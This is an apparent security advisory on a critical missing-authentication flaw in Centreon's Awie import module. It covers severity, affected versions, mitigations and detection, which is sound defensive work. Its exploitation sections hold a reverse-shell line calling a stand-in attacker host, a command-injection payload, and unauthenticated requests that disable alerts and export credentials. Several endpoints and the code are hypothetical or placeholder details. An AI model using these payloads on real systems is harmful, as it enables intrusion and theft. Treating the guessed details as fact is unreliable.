Comprehensive Technical Analysis of EUVD-2026-0848 (CVE-2025-15026)

Centreon Infra Monitoring – Missing Authentication for Critical Function Vulnerability

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-0848 (CVE-2025-15026) is a Missing Authentication for Critical Function vulnerability in Centreon’s Awie import module (part of the Infra Monitoring suite). The flaw allows unauthenticated attackers to access functionality that should be restricted by Access Control Lists (ACLs), enabling unauthorized execution of privileged operations.

CVSS v3.1 Severity Analysis

Metric	Value	Explanation
Base Score	9.8 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the network without physical/logical access.
Attack Complexity (AC)	Low (L)	No specialized conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or prior access needed.
User Interaction (UI)	None (N)	Exploitation does not require user interaction.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component (Awie module).
Confidentiality (C)	High (H)	Attacker can access sensitive monitoring data, configurations, or credentials.
Integrity (I)	High (H)	Unauthorized modifications to monitoring configurations, alerts, or system settings.
Availability (A)	High (H)	Potential disruption of monitoring services, leading to denial of service (DoS).

Severity Justification

• Critical (9.8) due to:
  • Unauthenticated remote exploitation (no credentials required).
  • High impact on CIA triad (Confidentiality, Integrity, Availability).
  • Low attack complexity, making it accessible to script kiddies and advanced threat actors alike.
  • Widespread deployment of Centreon in European critical infrastructure (IT, OT, and cloud monitoring).

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2. Potential Attack Vectors & Exploitation Methods

Attack Surface

The vulnerability resides in the Awie import module, which is responsible for importing and processing monitoring configurations. The lack of authentication allows attackers to:

• Bypass ACLs and execute privileged functions.
• Manipulate monitoring rules, leading to false alerts or suppression of critical events.
• Exfiltrate sensitive data (e.g., credentials, network topologies, performance metrics).
• Inject malicious configurations, potentially leading to remote code execution (RCE) if combined with other vulnerabilities.

Exploitation Methods

Method 1: Direct API/Endpoint Abuse

• Target: Unauthenticated API endpoints in the Awie module.
• Steps:
  1. Reconnaissance: Identify exposed Centreon instances via Shodan, Censys, or manual scanning (/centreon/api/latest/).
  2. Endpoint Discovery: Enumerate unauthenticated Awie module endpoints (e.g., /centreon/api/awie/import).
  3. Exploitation: Craft HTTP requests to:
     • Dump monitoring configurations (e.g., GET /awie/export).
     • Modify monitoring rules (e.g., POST /awie/import with malicious payloads).
     • Disable alerts (e.g., PUT /awie/alerts/{id}/disable).
  4. Post-Exploitation: Maintain persistence by injecting backdoors into monitoring rules.

Method 2: Supply Chain Attack via Malicious Import Files

• Target: File-based import functionality in the Awie module.
• Steps:
  1. Craft Malicious Import File: Generate a specially formatted XML/JSON file containing:
     • Command injection payloads (e.g., $(id > /tmp/pwned)).
     • Reverse shell triggers (e.g., bash -i >& /dev/tcp/attacker.com/4444 0>&1).
  2. Upload via Unauthenticated Endpoint: Submit the file to /awie/import without authentication.
  3. Trigger Execution: If the module processes the file automatically, the payload executes with Centreon’s privileges.

Method 3: Chained Exploitation (RCE via CVE-2025-XXXX)

• If another vulnerability (e.g., CVE-2025-XXXX) exists in the Awie module’s file parsing logic, an attacker could:
  1. Upload a malicious file (as in Method 2).
  2. Trigger a memory corruption bug (e.g., buffer overflow) to achieve RCE.

Proof-of-Concept (PoC) Considerations

• A public PoC is likely to emerge shortly after disclosure, given the low complexity.
• Metasploit module development is probable, lowering the barrier for mass exploitation.

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3. Affected Systems & Software Versions

Vulnerable Products

Product	Affected Versions	Fixed Versions
Centreon Infra Monitoring	25.10.0 – 25.10.1	25.10.2
Centreon Infra Monitoring	24.10.0 – 24.10.2	24.10.3
Centreon Infra Monitoring	24.04.0 – 24.04.2	24.04.3

Deployment Context

• Primary Use Case: Enterprise IT/OT monitoring, cloud infrastructure observability.
• Common Deployments:
  • On-premises (data centers, industrial control systems).
  • Hybrid cloud (AWS, Azure, GCP monitoring).
  • Critical infrastructure (energy, healthcare, finance, government).
• Exposure Risk:
  • Internet-facing instances (high risk of exploitation).
  • Internal networks (lateral movement vector for APTs).

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4. Recommended Mitigation Strategies

Immediate Actions (Patch Management)

1. Apply Vendor Patches Immediately:
   • Upgrade to 25.10.2, 24.10.3, or 24.04.3 (or later).
   • Patch priority: Critical (within 72 hours for internet-facing systems).
2. Workarounds (If Patching is Delayed):
   • Network Segmentation:
     • Restrict access to Centreon’s web interface to trusted IPs (firewall rules, VPN).
     • Isolate monitoring systems from production networks.
   • Disable Awie Module (Temporary):
     • If the module is non-critical, disable it via Centreon’s configuration.
   • WAF Rules (Temporary Mitigation):
     • Deploy ModSecurity or Cloudflare WAF to block requests to /awie/ endpoints.
     • Example rule:

       SecRule REQUEST_URI "@contains /awie/" "id:1000,deny,status:403,msg:'Blocked CVE-2025-15026 Exploitation Attempt'"
       

Long-Term Hardening

1. Authentication & Authorization:
   • Enforce MFA for all Centreon administrative access.
   • Implement role-based access control (RBAC) with least privilege.
2. Network Security:
   • Microsegmentation to limit lateral movement.
   • Zero Trust Architecture (ZTA) for monitoring systems.
3. Monitoring & Detection:
   • SIEM Integration: Forward Centreon logs to Splunk/ELK for anomaly detection.
   • IDS/IPS Rules: Deploy Snort/Suricata rules to detect exploitation attempts. Example Snort rule:

     alert tcp any any -> $CENTREON_SERVERS $HTTP_PORTS (msg:"CVE-2025-15026 Exploitation Attempt"; flow:to_server,established; content:"/awie/import"; nocase; http_uri; metadata:service http; reference:cve,2025-15026; classtype:attempted-admin; sid:1000001; rev:1;)
     

4. Vulnerability Management:
   • Regular scanning with Nessus/OpenVAS for Centreon instances.
   • Automated patch management (e.g., Ansible, Puppet, Chef).

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5. Impact on European Cybersecurity Landscape

Sector-Specific Risks

Sector	Potential Impact	Mitigation Priority
Energy (OT)	Disruption of SCADA monitoring → blackouts, industrial accidents.	Critical (P1)
Healthcare	Tampering with patient monitoring → life-threatening misdiagnosis.	Critical (P1)
Finance	Fraudulent transactions via manipulated alerts → financial losses.	High (P2)
Government	Espionage via exfiltrated network topologies → national security risk.	Critical (P1)
Telecom	Disruption of network monitoring → large-scale outages.	High (P2)

Regulatory & Compliance Implications

• NIS2 Directive (EU 2022/2555):
  • Affected organizations must report the incident within 24 hours if exploited.
  • Failure to patch may result in fines up to €10M or 2% of global turnover.
• GDPR (EU 2016/679):
  • Unauthorized access to monitoring data may constitute a data breach, requiring notification to authorities.
• DORA (Digital Operational Resilience Act):
  • Financial entities must test and patch critical vulnerabilities within strict timelines.

Threat Actor Interest

• APT Groups (e.g., APT29, Sandworm):
  • Likely to exploit for espionage (e.g., monitoring government/defense networks).
• Ransomware Operators (e.g., LockBit, Black Basta):
  • Could use the flaw for initial access before deploying ransomware.
• Cybercriminals:
  • Cryptojacking (abusing monitoring systems for mining).
  • Data exfiltration for sale on dark web markets.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerability Type: CWE-306: Missing Authentication for Critical Function
• Code-Level Issue:
  • The Awie module’s import/export endpoints lack authentication checks.
  • ACL misconfiguration allows unauthenticated users to invoke privileged functions.
  • Example Vulnerable Code Snippet (Hypothetical):

    // centreon-awie/api/import.php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $data = json_decode(file_get_contents('php://input'), true);
        process_import($data); // No authentication check!
    }
    

Exploitation Flow

1. Recon:
   • Identify Centreon instance (nmap -p 80,443 --script http-title <target>).
   • Check for Awie module (curl -I http://<target>/centreon/api/awie/import).
2. Exploitation:
   • Unauthenticated POST Request:

     POST /centreon/api/awie/import HTTP/1.1
     Host: <target>
     Content-Type: application/json
     
     {
         "action": "disable_alerts",
         "target": "all"
     }
     

3. Post-Exploitation:
   • Data Exfiltration:

     GET /centreon/api/awie/export?type=credentials HTTP/1.1
     Host: <target>
     

   • Persistence:
     • Modify monitoring rules to trigger a reverse shell on specific events.

Detection & Forensics

• Log Indicators:
  • Unauthenticated requests to /awie/ endpoints in Apache/Nginx logs.
  • Unusual import/export activity in Centreon’s audit logs.
• Network Indicators:
  • Unexpected outbound connections from Centreon server (e.g., C2 callbacks).
  • Large data transfers (exfiltration of monitoring configurations).
• Forensic Artifacts:
  • Modified configuration files (/etc/centreon/awie/*.json).
  • Suspicious cron jobs or web shells in /var/www/html/centreon/.

Advanced Mitigation for Blue Teams

1. Deception Techniques:
   • Deploy honeypot Centreon instances to detect scanning activity.
2. Behavioral Analysis:
   • Use UEBA (User and Entity Behavior Analytics) to detect anomalous API calls.
3. Runtime Application Self-Protection (RASP):
   • Deploy RASP solutions (e.g., Signal Sciences, Contrast Security) to block exploitation attempts.
4. Immutable Infrastructure:
   • Use containerized Centreon deployments with read-only filesystems to prevent persistence.

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Conclusion & Recommendations

Key Takeaways

• EUVD-2026-0848 (CVE-2025-15026) is a critical authentication bypass in Centreon’s Awie module, enabling unauthenticated remote exploitation.
• High-risk sectors (energy, healthcare, government) must patch immediately to avoid espionage, sabotage, or ransomware attacks.
• Exploitation is trivial, and public PoCs are expected soon, increasing the urgency for remediation.

Action Plan for Organizations

Priority	Action	Timeline
Critical (P1)	Patch all affected Centreon instances.	Within 72 hours
High (P2)	Implement network segmentation & WAF rules.	Within 1 week
Medium (P3)	Deploy IDS/IPS rules & SIEM monitoring.	Within 2 weeks
Low (P4)	Conduct a post-patch security audit.	Within 1 month

Final Recommendation

• For CISOs: Treat this as a Tier 1 incident and activate the incident response plan.
• For SOC Teams: Monitor for exploitation attempts and lateral movement from compromised Centreon servers.
• For Red Teams: Test detection capabilities by simulating exploitation (with authorization).

References:

• NVD Entry for CVE-2025-15026
• Centreon Security Advisory
• CWE-306: Missing Authentication for Critical Function